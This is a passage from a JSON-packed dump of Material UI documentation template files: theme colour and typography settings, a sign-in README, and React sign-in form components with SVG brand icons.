subtitle2: {\n        fontSize: defaultTheme.typography.pxToRem(14),\n        fontWeight: 500,\n      },\n      body1: {\n        fontSize: defaultTheme.typography.pxToRem(14),\n      },\n      body2: {\n        fontSize: defaultTheme.typography.pxToRem(14),\n        fontWeight: 400,\n      },\n      caption: {\n        fontSize: defaultTheme.typography.pxToRem(12),\n        fontWeight: 400,\n      },\n    },\n    shape: {\n      borderRadius: 8,\n    },\n    shadows: customShadows,\n  };\n};\n\nexport const colorSchemes = {\n  light: {\n    palette: {\n      primary: {\n        light: brand[200],\n        main: brand[400],\n        dark: brand[700],\n        contrastText: brand[50],\n      },\n      info: {\n        light: brand[100],\n        main: brand[300],\n        dark: brand[600],\n        contrastText: gray[50],\n      },\n      warning: {\n        light: orange[300],\n        main: orange[400],\n        dark: orange[800],\n      },\n      error: {\n        light: red[300],\n        main: red[400],\n        dark: red[800],\n      },\n      success: {\n        light: green[300],\n        main: green[400],\n        dark: green[800],\n      },\n      grey: {\n        ...gray,\n      },\n      divider: alpha(gray[300], 0.4),\n      background: {\n        default: 'hsl(0, 0%, 99%)',\n        paper: 'hsl(220, 35%, 97%)',\n      },\n      text: {\n        primary: gray[800],\n        secondary: gray[600],\n        warning: orange[400],\n      },\n      action: {\n        hover: alpha(gray[200], 0.2),\n        selected: `${alpha(gray[200], 0.3)}`,\n      },\n      baseShadow:\n        'hsla(220, 30%, 5%, 0.07) 0px 4px 16px 0px, hsla(220, 25%, 10%, 0.07) 0px 8px 16px -5px',\n    },\n  },\n  dark: {\n    palette: {\n      primary: {\n        contrastText: brand[50],\n        light: brand[300],\n        main: brand[400],\n        dark: brand[700],\n      },\n      info: {\n        contrastText: brand[300],\n        light: brand[500],\n        main: brand[700],\n        dark: brand[900],\n      },\n      warning: {\n        light: orange[400],\n        main: orange[500],\n        dark: orange[700],\n      },\n      error: {\n        light: red[400],\n        main: red[500],\n        dark: red[700],\n      },\n      success: {\n        light: green[400],\n        main: green[500],\n        dark: green[700],\n      },\n      grey: {\n        ...gray,\n      },\n      divider: alpha(gray[700], 0.6),\n      background: {\n        default: gray[900],\n        paper: 'hsl(220, 30%, 7%)',\n      },\n      text: {\n        primary: 'hsl(0, 0%, 100%)',\n        secondary: gray[400],\n      },\n      action: {\n        hover: alpha(gray[600], 0.2),\n        selected: alpha(gray[600], 0.3),\n      },\n      baseShadow:\n        'hsla(220, 30%, 5%, 0.7) 0px 4px 16px 0px, hsla(220, 25%, 10%, 0.8) 0px 8px 16px -5px',\n    },\n  },\n};\n\nexport const typography = {\n  fontFamily: 'Inter, sans-serif',\n  h1: {\n    fontSize: defaultTheme.typography.pxToRem(48),\n    fontWeight: 600,\n    lineHeight: 1.2,\n    letterSpacing: -0.5,\n  },\n  h2: {\n    fontSize: defaultTheme.typography.pxToRem(36),\n    fontWeight: 600,\n    lineHeight: 1.2,\n  },\n  h3: {\n    fontSize: defaultTheme.typography.pxToRem(30),\n    lineHeight: 1.2,\n  },\n  h4: {\n    fontSize: defaultTheme.typography.pxToRem(24),\n    fontWeight: 600,\n    lineHeight: 1.5,\n  },\n  h5: {\n    fontSize: defaultTheme.typography.pxToRem(20),\n    fontWeight: 600,\n  },\n  h6: {\n    fontSize: defaultTheme.typography.pxToRem(18),\n    fontWeight: 600,\n  },\n  subtitle1: {\n    fontSize: defaultTheme.typography.pxToRem(18),\n  },\n  subtitle2: {\n    fontSize: defaultTheme.typography.pxToRem(14),\n    fontWeight: 500,\n  },\n  body1: {\n    fontSize: defaultTheme.typography.pxToRem(14),\n  },\n  body2: {\n    fontSize: defaultTheme.typography.pxToRem(14),\n    fontWeight: 400,\n  },\n  caption: {\n    fontSize: defaultTheme.typography.pxToRem(12),\n    fontWeight: 400,\n  },\n};\n\nexport const shape = {\n  borderRadius: 8,\n};\n\n// @ts-ignore\nconst defaultShadows: Shadows = [\n  'none',\n  'var(--template-palette-baseShadow)',\n  ...defaultTheme.shadows.slice(2),\n];\nexport const shadows = defaultShadows;\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/sign-in/README.md",
    "content": "# Sign-in template\n\n## Usage\n\n<!-- #target-branch-reference -->\n\n1. Copy these folders (`sign-in` and `shared-theme`) into your project, or one of the [example projects](https://github.com/mui/material-ui/tree/master/examples).\n2. Make sure your project has the required dependencies: @mui/material, @mui/icons-material, @emotion/styled, @emotion/react.\n3. Import and use the `SignIn` component.\n\n## Demo\n\n<!-- #host-reference -->\n\nView the demo at https://next.mui.com/material-ui/getting-started/templates/sign-in/.\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/sign-in/SignIn.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport Checkbox from '@mui/material/Checkbox';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport Divider from '@mui/material/Divider';\nimport FormLabel from '@mui/material/FormLabel';\nimport FormControl from '@mui/material/FormControl';\nimport Link from '@mui/material/Link';\nimport TextField from '@mui/material/TextField';\nimport Typography from '@mui/material/Typography';\nimport Stack from '@mui/material/Stack';\nimport MuiCard from '@mui/material/Card';\nimport { styled } from '@mui/material/styles';\nimport ForgotPassword from './components/ForgotPassword';\nimport AppTheme from '../shared-theme/AppTheme';\nimport ColorModeSelect from '../shared-theme/ColorModeSelect';\nimport { GoogleIcon, FacebookIcon, SitemarkIcon } from './components/CustomIcons';\n\nconst Card = styled(MuiCard)(({ theme }) => ({\n  display: 'flex',\n  flexDirection: 'column',\n  alignSelf: 'center',\n  width: '100%',\n  padding: theme.spacing(4),\n  gap: theme.spacing(2),\n  margin: 'auto',\n  [theme.breakpoints.up('sm')]: {\n    maxWidth: '450px',\n  },\n  boxShadow:\n    'hsla(220, 30%, 5%, 0.05) 0px 5px 15px 0px, hsla(220, 25%, 10%, 0.05) 0px 15px 35px -5px',\n  ...theme.applyStyles('dark', {\n    boxShadow:\n      'hsla(220, 30%, 5%, 0.5) 0px 5px 15px 0px, hsla(220, 25%, 10%, 0.08) 0px 15px 35px -5px',\n  }),\n}));\n\nconst SignInContainer = styled(Stack)(({ theme }) => ({\n  height: 'calc((1 - var(--template-frame-height, 0)) * 100dvh)',\n  minHeight: '100%',\n  padding: theme.spacing(2),\n  [theme.breakpoints.up('sm')]: {\n    padding: theme.spacing(4),\n  },\n  '&::before': {\n    content: '\"\"',\n    display: 'block',\n    position: 'absolute',\n    zIndex: -1,\n    inset: 0,\n    backgroundImage:\n      'radial-gradient(ellipse at 50% 50%, hsl(210, 100%, 97%), hsl(0, 0%, 100%))',\n    backgroundRepeat: 'no-repeat',\n    ...theme.applyStyles('dark', {\n      backgroundImage:\n        'radial-gradient(at 50% 50%, hsla(210, 100%, 16%, 0.5), hsl(220, 30%, 5%))',\n    }),\n  },\n}));\n\nexport default function SignIn(props) {\n  const [emailError, setEmailError] = React.useState(false);\n  const [emailErrorMessage, setEmailErrorMessage] = React.useState('');\n  const [passwordError, setPasswordError] = React.useState(false);\n  const [passwordErrorMessage, setPasswordErrorMessage] = React.useState('');\n  const [open, setOpen] = React.useState(false);\n\n  const handleClickOpen = () => {\n    setOpen(true);\n  };\n\n  const handleClose = () => {\n    setOpen(false);\n  };\n\n  const handleSubmit = (event) => {\n    if (emailError || passwordError) {\n      event.preventDefault();\n      return;\n    }\n    const data = new FormData(event.currentTarget);\n    console.log({\n      email: data.get('email'),\n      password: data.get('password'),\n    });\n  };\n\n  const validateInputs = () => {\n    const email = document.getElementById('email');\n    const password = document.getElementById('password');\n\n    let isValid = true;\n\n    if (!email.value || !/\\S+@\\S+\\.\\S+/.test(email.value)) {\n      setEmailError(true);\n      setEmailErrorMessage('Please enter a valid email address.');\n      isValid = false;\n    } else {\n      setEmailError(false);\n      setEmailErrorMessage('');\n    }\n\n    if (!password.value || password.value.length < 6) {\n      setPasswordError(true);\n      setPasswordErrorMessage('Password must be at least 6 characters long.');\n      isValid = false;\n    } else {\n      setPasswordError(false);\n      setPasswordErrorMessage('');\n    }\n\n    return isValid;\n  };\n\n  return (\n    <AppTheme {...props}>\n      <CssBaseline enableColorScheme />\n      <SignInContainer direction=\"column\" sx={{ justifyContent: 'space-between' }}>\n        <ColorModeSelect sx={{ position: 'fixed', top: '1rem', right: '1rem' }} />\n        <Card variant=\"outlined\">\n          <SitemarkIcon />\n          <Typography\n            component=\"h1\"\n            variant=\"h4\"\n            sx={{ width: '100%', fontSize: 'clamp(2rem, 10vw, 2.15rem)' }}\n          >\n            Sign in\n          </Typography>\n          <Box\n            component=\"form\"\n            onSubmit={handleSubmit}\n            noValidate\n            sx={{\n              display: 'flex',\n              flexDirection: 'column',\n              width: '100%',\n              gap: 2,\n            }}\n          >\n            <FormControl>\n              <FormLabel htmlFor=\"email\">Email</FormLabel>\n              <TextField\n                error={emailError}\n                helperText={emailErrorMessage}\n                id=\"email\"\n                type=\"email\"\n                name=\"email\"\n                placeholder=\"your@email.com\"\n                autoComplete=\"email\"\n                autoFocus\n                required\n                fullWidth\n                variant=\"outlined\"\n                color={emailError ? 'error' : 'primary'}\n              />\n            </FormControl>\n            <FormControl>\n              <FormLabel htmlFor=\"password\">Password</FormLabel>\n              <TextField\n                error={passwordError}\n                helperText={passwordErrorMessage}\n                name=\"password\"\n                placeholder=\"••••••\"\n                type=\"password\"\n                id=\"password\"\n                autoComplete=\"current-password\"\n                autoFocus\n                required\n                fullWidth\n                variant=\"outlined\"\n                color={passwordError ? 'error' : 'primary'}\n              />\n            </FormControl>\n            <FormControlLabel\n              control={<Checkbox value=\"remember\" color=\"primary\" />}\n              label=\"Remember me\"\n            />\n            <ForgotPassword open={open} handleClose={handleClose} />\n            <Button\n              type=\"submit\"\n              fullWidth\n              variant=\"contained\"\n              onClick={validateInputs}\n            >\n              Sign in\n            </Button>\n            <Link\n              component=\"button\"\n              type=\"button\"\n              onClick={handleClickOpen}\n              variant=\"body2\"\n              sx={{ alignSelf: 'center' }}\n            >\n              Forgot your password?\n            </Link>\n          </Box>\n          <Divider>or</Divider>\n          <Box sx={{ display: 'flex', flexDirection: 'column', gap: 2 }}>\n            <Button\n              fullWidth\n              variant=\"outlined\"\n              onClick={() => alert('Sign in with Google')}\n              startIcon={<GoogleIcon />}\n            >\n              Sign in with Google\n            </Button>\n            <Button\n              fullWidth\n              variant=\"outlined\"\n              onClick={() => alert('Sign in with Facebook')}\n              startIcon={<FacebookIcon />}\n            >\n              Sign in with Facebook\n            </Button>\n            <Typography sx={{ textAlign: 'center' }}>\n              Don&apos;t have an account?{' '}\n              <Link\n                href=\"/material-ui/getting-started/templates/sign-in/\"\n                variant=\"body2\"\n                sx={{ alignSelf: 'center' }}\n              >\n                Sign up\n              </Link>\n            </Typography>\n          </Box>\n        </Card>\n      </SignInContainer>\n    </AppTheme>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/sign-in/SignIn.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport Checkbox from '@mui/material/Checkbox';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport Divider from '@mui/material/Divider';\nimport FormLabel from '@mui/material/FormLabel';\nimport FormControl from '@mui/material/FormControl';\nimport Link from '@mui/material/Link';\nimport TextField from '@mui/material/TextField';\nimport Typography from '@mui/material/Typography';\nimport Stack from '@mui/material/Stack';\nimport MuiCard from '@mui/material/Card';\nimport { styled } from '@mui/material/styles';\nimport ForgotPassword from './components/ForgotPassword';\nimport AppTheme from '../shared-theme/AppTheme';\nimport ColorModeSelect from '../shared-theme/ColorModeSelect';\nimport { GoogleIcon, FacebookIcon, SitemarkIcon } from './components/CustomIcons';\n\nconst Card = styled(MuiCard)(({ theme }) => ({\n  display: 'flex',\n  flexDirection: 'column',\n  alignSelf: 'center',\n  width: '100%',\n  padding: theme.spacing(4),\n  gap: theme.spacing(2),\n  margin: 'auto',\n  [theme.breakpoints.up('sm')]: {\n    maxWidth: '450px',\n  },\n  boxShadow:\n    'hsla(220, 30%, 5%, 0.05) 0px 5px 15px 0px, hsla(220, 25%, 10%, 0.05) 0px 15px 35px -5px',\n  ...theme.applyStyles('dark', {\n    boxShadow:\n      'hsla(220, 30%, 5%, 0.5) 0px 5px 15px 0px, hsla(220, 25%, 10%, 0.08) 0px 15px 35px -5px',\n  }),\n}));\n\nconst SignInContainer = styled(Stack)(({ theme }) => ({\n  height: 'calc((1 - var(--template-frame-height, 0)) * 100dvh)',\n  minHeight: '100%',\n  padding: theme.spacing(2),\n  [theme.breakpoints.up('sm')]: {\n    padding: theme.spacing(4),\n  },\n  '&::before': {\n    content: '\"\"',\n    display: 'block',\n    position: 'absolute',\n    zIndex: -1,\n    inset: 0,\n    backgroundImage:\n      'radial-gradient(ellipse at 50% 50%, hsl(210, 100%, 97%), hsl(0, 0%, 100%))',\n    backgroundRepeat: 'no-repeat',\n    ...theme.applyStyles('dark', {\n      backgroundImage:\n        'radial-gradient(at 50% 50%, hsla(210, 100%, 16%, 0.5), hsl(220, 30%, 5%))',\n    }),\n  },\n}));\n\nexport default function SignIn(props: { disableCustomTheme?: boolean }) {\n  const [emailError, setEmailError] = React.useState(false);\n  const [emailErrorMessage, setEmailErrorMessage] = React.useState('');\n  const [passwordError, setPasswordError] = React.useState(false);\n  const [passwordErrorMessage, setPasswordErrorMessage] = React.useState('');\n  const [open, setOpen] = React.useState(false);\n\n  const handleClickOpen = () => {\n    setOpen(true);\n  };\n\n  const handleClose = () => {\n    setOpen(false);\n  };\n\n  const handleSubmit = (event: React.FormEvent<HTMLFormElement>) => {\n    if (emailError || passwordError) {\n      event.preventDefault();\n      return;\n    }\n    const data = new FormData(event.currentTarget);\n    console.log({\n      email: data.get('email'),\n      password: data.get('password'),\n    });\n  };\n\n  const validateInputs = () => {\n    const email = document.getElementById('email') as HTMLInputElement;\n    const password = document.getElementById('password') as HTMLInputElement;\n\n    let isValid = true;\n\n    if (!email.value || !/\\S+@\\S+\\.\\S+/.test(email.value)) {\n      setEmailError(true);\n      setEmailErrorMessage('Please enter a valid email address.');\n      isValid = false;\n    } else {\n      setEmailError(false);\n      setEmailErrorMessage('');\n    }\n\n    if (!password.value || password.value.length < 6) {\n      setPasswordError(true);\n      setPasswordErrorMessage('Password must be at least 6 characters long.');\n      isValid = false;\n    } else {\n      setPasswordError(false);\n      setPasswordErrorMessage('');\n    }\n\n    return isValid;\n  };\n\n  return (\n    <AppTheme {...props}>\n      <CssBaseline enableColorScheme />\n      <SignInContainer direction=\"column\" sx={{ justifyContent: 'space-between' }}>\n        <ColorModeSelect sx={{ position: 'fixed', top: '1rem', right: '1rem' }} />\n        <Card variant=\"outlined\">\n          <SitemarkIcon />\n          <Typography\n            component=\"h1\"\n            variant=\"h4\"\n            sx={{ width: '100%', fontSize: 'clamp(2rem, 10vw, 2.15rem)' }}\n          >\n            Sign in\n          </Typography>\n          <Box\n            component=\"form\"\n            onSubmit={handleSubmit}\n            noValidate\n            sx={{\n              display: 'flex',\n              flexDirection: 'column',\n              width: '100%',\n              gap: 2,\n            }}\n          >\n            <FormControl>\n              <FormLabel htmlFor=\"email\">Email</FormLabel>\n              <TextField\n                error={emailError}\n                helperText={emailErrorMessage}\n                id=\"email\"\n                type=\"email\"\n                name=\"email\"\n                placeholder=\"your@email.com\"\n                autoComplete=\"email\"\n                autoFocus\n                required\n                fullWidth\n                variant=\"outlined\"\n                color={emailError ? 'error' : 'primary'}\n              />\n            </FormControl>\n            <FormControl>\n              <FormLabel htmlFor=\"password\">Password</FormLabel>\n              <TextField\n                error={passwordError}\n                helperText={passwordErrorMessage}\n                name=\"password\"\n                placeholder=\"••••••\"\n                type=\"password\"\n                id=\"password\"\n                autoComplete=\"current-password\"\n                autoFocus\n                required\n                fullWidth\n                variant=\"outlined\"\n                color={passwordError ? 'error' : 'primary'}\n              />\n            </FormControl>\n            <FormControlLabel\n              control={<Checkbox value=\"remember\" color=\"primary\" />}\n              label=\"Remember me\"\n            />\n            <ForgotPassword open={open} handleClose={handleClose} />\n            <Button\n              type=\"submit\"\n              fullWidth\n              variant=\"contained\"\n              onClick={validateInputs}\n            >\n              Sign in\n            </Button>\n            <Link\n              component=\"button\"\n              type=\"button\"\n              onClick={handleClickOpen}\n              variant=\"body2\"\n              sx={{ alignSelf: 'center' }}\n            >\n              Forgot your password?\n            </Link>\n          </Box>\n          <Divider>or</Divider>\n          <Box sx={{ display: 'flex', flexDirection: 'column', gap: 2 }}>\n            <Button\n              fullWidth\n              variant=\"outlined\"\n              onClick={() => alert('Sign in with Google')}\n              startIcon={<GoogleIcon />}\n            >\n              Sign in with Google\n            </Button>\n            <Button\n              fullWidth\n              variant=\"outlined\"\n              onClick={() => alert('Sign in with Facebook')}\n              startIcon={<FacebookIcon />}\n            >\n              Sign in with Facebook\n            </Button>\n            <Typography sx={{ textAlign: 'center' }}>\n              Don&apos;t have an account?{' '}\n              <Link\n                href=\"/material-ui/getting-started/templates/sign-in/\"\n                variant=\"body2\"\n                sx={{ alignSelf: 'center' }}\n              >\n                Sign up\n              </Link>\n            </Typography>\n          </Box>\n        </Card>\n      </SignInContainer>\n    </AppTheme>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/sign-in/components/CustomIcons.js",
    "content": "import SvgIcon from '@mui/material/SvgIcon';\n\nexport function SitemarkIcon() {\n  return (\n    <SvgIcon sx={{ height: 21, width: 100 }}>\n      <svg\n        width={86}\n        height={19}\n        viewBox=\"0 0 86 19\"\n        fill=\"none\"\n        xmlns=\"http://www.w3.org/2000/svg\"\n      >\n        <path\n          fill=\"#B4C0D3\"\n          d=\"m.787 12.567 6.055-2.675 3.485 2.006.704 6.583-4.295-.035.634-4.577-.74-.422-3.625 2.817-2.218-3.697Z\"\n        />\n        <path\n          fill=\"#00D3AB\"\n          d=\"m10.714 11.616 5.352 3.908 2.112-3.767-4.295-1.725v-.845l4.295-1.76-2.112-3.732-5.352 3.908v4.013Z\"\n        />\n        <path\n          fill=\"#4876EF\"\n          d=\"m10.327 7.286.704-6.583-4.295.07.634 4.577-.74.422-3.66-2.816L.786 6.617l6.055 2.676 3.485-2.007Z\"\n        />\n        <path\n          fill=\"#4876EE\"\n          d=\"M32.507 8.804v6.167h2.312v-7.86h-3.366v1.693h1.054ZM32.435 6.006c.212.22.535.33.968.33.434 0 .751-.11.953-.33.213-.23.318-.516.318-.86 0-.354-.105-.641-.318-.86-.202-.23-.52-.345-.953-.345-.433 0-.756.115-.968.344-.202.22-.303.507-.303.86 0 .345.101.632.303.861ZM24.46 14.799c.655.296 1.46.444 2.413.444.896 0 1.667-.139 2.312-.416.645-.277 1.141-.664 1.488-1.162.357-.506.535-1.094.535-1.764 0-.65-.169-1.2-.506-1.649-.328-.459-.785-.818-1.373-1.076-.587-.267-1.266-.435-2.037-.502l-.809-.071c-.481-.039-.828-.168-1.04-.388a1.08 1.08 0 0 1-.318-.774c0-.23.058-.44.173-.631.116-.201.29-.359.52-.474.241-.114.535-.172.882-.172.366 0 .67.067.91.201.053.029.104.059.15.09l.012.009.052.037c.146.111.263.243.35.395.125.21.188.444.188.703h2.311c0-.689-.159-1.286-.476-1.793-.318-.516-.776-.913-1.373-1.19-.588-.287-1.296-.43-2.124-.43-.79 0-1.474.133-2.052.4a3.131 3.131 0 0 0-1.358 1.12c-.318.487-.477 1.066-.477 1.735 0 .927.314 1.673.94 2.237.626.564 1.464.89 2.514.976l.794.071c.645.058 1.113.187 1.401.388a.899.899 0 0 1 .434.788 1.181 1.181 0 0 1-.231.717c-.154.201-.38.36-.68.474-.298.115-.669.172-1.112.172-.49 0-.89-.067-1.199-.2-.308-.144-.539-.33-.694-.56a1.375 1.375 0 0 1-.216-.746h-2.297c0 .679.168 1.281.505 1.807.337.517.834.928 1.489 1.234ZM39.977 15.07c-.8 0-1.445-.095-1.936-.286a2.03 2.03 0 0 1-1.084-.99c-.221-.469-.332-1.1-.332-1.893V8.789h-1.2V7.11h1.2V4.988h2.153V7.11h2.312V8.79h-2.312v3.198c0 .373.096.66.289.86.202.192.486.287.852.287h1.17v1.937h-1.112Z\"\n        />\n        <path\n          fill=\"#4876EE\"\n          fillRule=\"evenodd\"\n          d=\"M43.873 14.899c.52.23 1.117.344 1.791.344.665 0 1.252-.115 1.763-.344.51-.23.934-.55 1.271-.96.337-.412.564-.88.679-1.407h-2.124c-.096.24-.279.44-.549.603-.27.162-.616.244-1.04.244-.262 0-.497-.031-.704-.093a1.572 1.572 0 0 1-.423-.194 1.662 1.662 0 0 1-.636-.803 3.159 3.159 0 0 1-.163-.645h5.784v-.775a4.28 4.28 0 0 0-.463-1.98 3.686 3.686 0 0 0-1.343-1.477c-.578-.382-1.291-.574-2.139-.574-.645 0-1.223.115-1.733.345-.501.22-.92.52-1.257.903a4.178 4.178 0 0 0-.78 1.305c-.174.478-.26.98-.26 1.506v.287c0 .507.086 1.004.26 1.492.183.478.443.913.78 1.305.347.382.775.688 1.286.918Zm-.094-4.674.02-.09a2.507 2.507 0 0 1 .117-.356c.145-.354.356-.622.636-.804.104-.067.217-.123.339-.165.204-.071.433-.107.686-.107.395 0 .723.09.983.272.27.173.472.426.607.76a2.487 2.487 0 0 1 .16.603h-3.57c.006-.038.013-.076.022-.113Z\"\n          clipRule=\"evenodd\"\n        />\n        <path\n          fill=\"#4876EE\"\n          d=\"M50.476 14.97V7.112h1.835v1.98a4.54 4.54 0 0 1 .173-.603c.202-.536.506-.937.91-1.205.405-.277.9-.416 1.488-.416h.101c.598 0 1.094.139 1.489.416.404.268.707.67.91 1.205l.016.04.013.037.028-.077c.212-.536.52-.937.925-1.205.405-.277.901-.416 1.489-.416h.1c.598 0 1.098.139 1.503.416.414.268.727.67.94 1.205.211.535.317 1.205.317 2.008v4.475h-2.312v-4.604c0-.43-.115-.78-.346-1.047-.222-.268-.54-.402-.954-.402-.414 0-.742.139-.982.416-.241.268-.362.626-.362 1.076v4.56h-2.326v-4.603c0-.43-.115-.78-.346-1.047-.222-.268-.535-.402-.94-.402-.423 0-.756.139-.996.416-.241.268-.362.626-.362 1.076v4.56h-2.311Z\"\n        />\n        <path\n          fill=\"#4876EE\"\n          fillRule=\"evenodd\"\n          d=\"M68.888 13.456v1.515h1.834v-4.82c0-.726-.144-1.319-.433-1.778-.289-.468-.712-.817-1.271-1.047-.549-.23-1.228-.344-2.037-.344a27.76 27.76 0 0 0-.896.014c-.318.01-.626.024-.924.043l-.229.016a36.79 36.79 0 0 0-.552.042v1.936a81.998 81.998 0 0 1 1.733-.09 37.806 37.806 0 0 1 1.171-.025c.424 0 .732.1.925.301.193.201.289.502.289.904v.029h-1.43c-.704 0-1.325.09-1.864.272-.54.172-.959.445-1.257.818-.299.363-.448.832-.448 1.405 0 .526.12.98.361 1.363.24.373.573.66.997.86.433.201.934.302 1.502.302.55 0 1.012-.1 1.388-.302.385-.2.683-.487.895-.86a2.443 2.443 0 0 0 .228-.498l.018-.056Zm-.39-1.397v-.63h-1.445c-.405 0-.718.1-.939.3-.212.192-.318.455-.318.79 0 .157.026.3.08.429a.99.99 0 0 0 .238.345c.221.191.534.287.939.287a2.125 2.125 0 0 0 .394-.038c.106-.021.206-.052.3-.092.212-.095.385-.253.52-.473.135-.22.212-.526.23-.918Z\"\n          clipRule=\"evenodd\"\n        />\n        <path\n          fill=\"#4876EE\"\n          d=\"M72.106 14.97V7.11h1.835v2.595c.088-.74.31-1.338.665-1.791.481-.603 1.174-.904 2.08-.904h.303v1.98h-.578c-.635 0-1.127.172-1.473.516-.347.334-.52.822-.52 1.463v4.001h-2.312ZM79.92 11.298h.767l2.499 3.672h2.6l-3.169-4.51 2.606-3.35h-2.427l-2.875 3.737V4.5h-2.312v10.47h2.312v-3.672Z\"\n        />\n      </svg>\n    </SvgIcon>\n  );\n}\n\nexport function FacebookIcon() {\n  return (\n    <SvgIcon>\n      <svg\n        width=\"16\"\n        height=\"16\"\n        viewBox=\"0 0 16 16\"\n        fill=\"none\"\n        xmlns=\"http://www.w3.org/2000/svg\"\n      >\n        <path\n          d=\"M6.68 15.92C2.88 15.24 0 11.96 0 8C0 3.6 3.6 0 8 0C12.4 0 16 3.6 16 8C16 11.96 13.12 15.24 9.32 15.92L8.88 15.56H7.12L6.68 15.92Z\"\n          fill=\"url(#paint0_linear_795_116)\"\n        />\n        <path\n          d=\"M11.12 10.2391L11.48 7.99914H9.36V6.43914C9.36 5.79914 9.6 5.31914 10.56 5.31914H11.6V3.27914C11.04 3.19914 10.4 3.11914 9.84 3.11914C8 3.11914 6.72 4.23914 6.72 6.23914V7.99914H4.72V10.2391H6.72V15.8791C7.16 15.9591 7.6 15.9991 8.04 15.9991C8.48 15.9991 8.92 15.9591 9.36 15.8791V10.2391H11.12Z\"\n          fill=\"white\"\n        />\n        <defs>\n          <linearGradient\n            id=\"paint0_linear_795_116\"\n            x1=\"8\"\n            y1=\"0\"\n            x2=\"8\"\n            y2=\"15.9991\"\n            gradientUnits=\"userSpaceOnUse\"\n          >\n            <stop stopColor=\"#1AAFFF\" />\n            <stop offset=\"1\" stopColor=\"#0163E0\" />\n          </linearGradient>\n        </defs>\n      </svg>\n    </SvgIcon>\n  );\n}\n\nexport function GoogleIcon() {\n  return (\n    <SvgIcon>\n      <svg\n        width=\"16\"\n        height=\"16\"\n        viewBox=\"0 0 16 16\"\n        fill=\"none\"\n        xmlns=\"http://www.w3.org/2000/svg\"\n      >\n        <path\n          d=\"M15.68 8.18182C15.68 7.61455 15.6291 7.06909 15.5345 6.54545H8V9.64364H12.3055C12.1164 10.64 11.5491 11.4836 10.6982 12.0509V14.0655H13.2945C14.8073 12.6691 15.68 10.6182 15.68 8.18182Z\"\n          fill=\"#4285F4\"\n        />\n        <path\n          d=\"M8 16C10.16 16 11.9709 15.2873 13.2945 14.0655L10.6982 12.0509C9.98545 12.5309 9.07636 12.8218 8 12.8218C5.92 12.8218 4.15273 11.4182 3.52 9.52727H0.858182V11.5927C2.17455 14.2036 4.87273 16 8 16Z\"\n          fill=\"#34A853\"\n        />\n        <path\n          d=\"M3.52 9.52C3.36 9.04 3.26545 8.53091 3.26545 8C3.26545 7.46909 3.36 6.96 3.52 6.48V4.41455H0.858182C0.312727 5.49091 0 6.70545 0 8C0 9.29455 0.312727 10.5091 0.858182 11.5855L2.93091 9.97091L3.52 9.52Z\"\n          fill=\"#FBBC05\"\n        />\n        <path\n          d=\"M8 3.18545C9.17818 3.18545 10.2255 3.59273 11.0618 4.37818L13.3527 2.08727C11.9636 0.792727 10.16 0 8 0C4.87273 0 2.17455 1.79636 0.858182 4.41455L3.52 6.48C4.15273 4.58909 5.92 3.18545 8 3.18545Z\"\n          fill=\"#EA4335\"\n        />\n      </svg>\n    </SvgIcon>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/sign-in/components/CustomIcons.tsx",
    "content": "import SvgIcon from '@mui/material/SvgIcon';\n\nexport function SitemarkIcon() {\n  return (\n    <SvgIcon sx={{ height: 21, width: 100 }}>\n      <svg\n        width={86}\n        height={19}\n        viewBox=\"0 0 86 19\"\n        fill=\"none\"\n        xmlns=\"http://www.w3.org/2000/svg\"\n      >\n        <path\n          fill=\"#B4C0D3\"\n          d=\"m.787 12.567 6.055-2.675 3.485 2.006.704 6.583-4.295-.035.634-4.577-.74-.422-3.625 2.817-2.218-3.697Z\"\n        />\n        <path\n          fill=\"#00D3AB\"\n          d=\"m10.714 11.616 5.352 3.908 2.112-3.767-4.295-1.725v-.845l4.295-1.76-2.112-3.732-5.352 3.908v4.013Z\"\n        />\n        <path\n          fill=\"#4876EF\"\n          d=\"m10.327 7.286.704-6.583-4.295.07.634 4.577-.74.422-3.66-2.816L.786 6.617l6.055 2.676 3.485-2.007Z\"\n        />\n        <path\n          fill=\"#4876EE\"\n          d=\"M32.507 8.804v6.167h2.312v-7.86h-3.366v1.693h1.054ZM32.435 6.006c.212.22.535.33.968.33.434 0 .751-.11.953-.33.213-.23.318-.516.318-.86 0-.354-.105-.641-.318-.86-.202-.23-.52-.345-.953-.345-.433 0-.756.115-.968.344-.202.22-.303.507-.303.86 0 .345.101.632.303.861ZM24.46 14.799c.655.296 1.46.444 2.413.444.896 0 1.667-.139 2.312-.416.645-.277 1.141-.664 1.488-1.162.357-.506.535-1.094.535-1.764 0-.65-.169-1.2-.506-1.649-.328-.459-.785-.818-1.373-1.076-.587-.267-1.266-.435-2.037-.502l-.809-.071c-.481-.039-.828-.168-1.04-.388a1.08 1.08 0 0 1-.318-.774c0-.23.058-.44.173-.631.116-.201.29-.359.52-.474.241-.114.535-.172.882-.172.366 0 .67.067.91.201.053.029.104.059.15.09l.012.009.052.037c.146.111.263.243.35.395.125.21.188.444.188.703h2.311c0-.689-.159-1.286-.476-1.793-.318-.516-.776-.913-1.373-1.19-.588-.287-1.296-.43-2.124-.43-.79 0-1.474.133-2.052.4a3.131 3.131 0 0 0-1.358 1.12c-.318.487-.477 1.066-.477 1.735 0 .927.314 1.673.94 2.237.626.564 1.464.89 2.514.976l.794.071c.645.058 1.113.187 1.401.388a.899.899 0 0 1 .434.788 1.181 1.181 0 0 1-.231.717c-.154.201-.38.36-.68.474-.298.115-.669.172-1.112.172-.49 0-.89-.067-1.199-.2-.308-.144-.539-.33-.694-.56a1.375 1.375 0 0 1-.216-.746h-2.297c0 .679.168 1.281.505 1.807.337.517.834.928 1.489 1.234ZM39.977 15.07c-.8 0-1.445-.095-1.936-.286a2.03 2.03 0 0 1-1.084-.99c-.221-.469-.332-1.1-.332-1.893V8.789h-1.2V7.11h1.2V4.988h2.153V7.11h2.312V8.79h-2.312v3.198c0 .373.096.66.289.86.202.192.486.287.852.287h1.17v1.937h-1.112Z\"\n        />\n       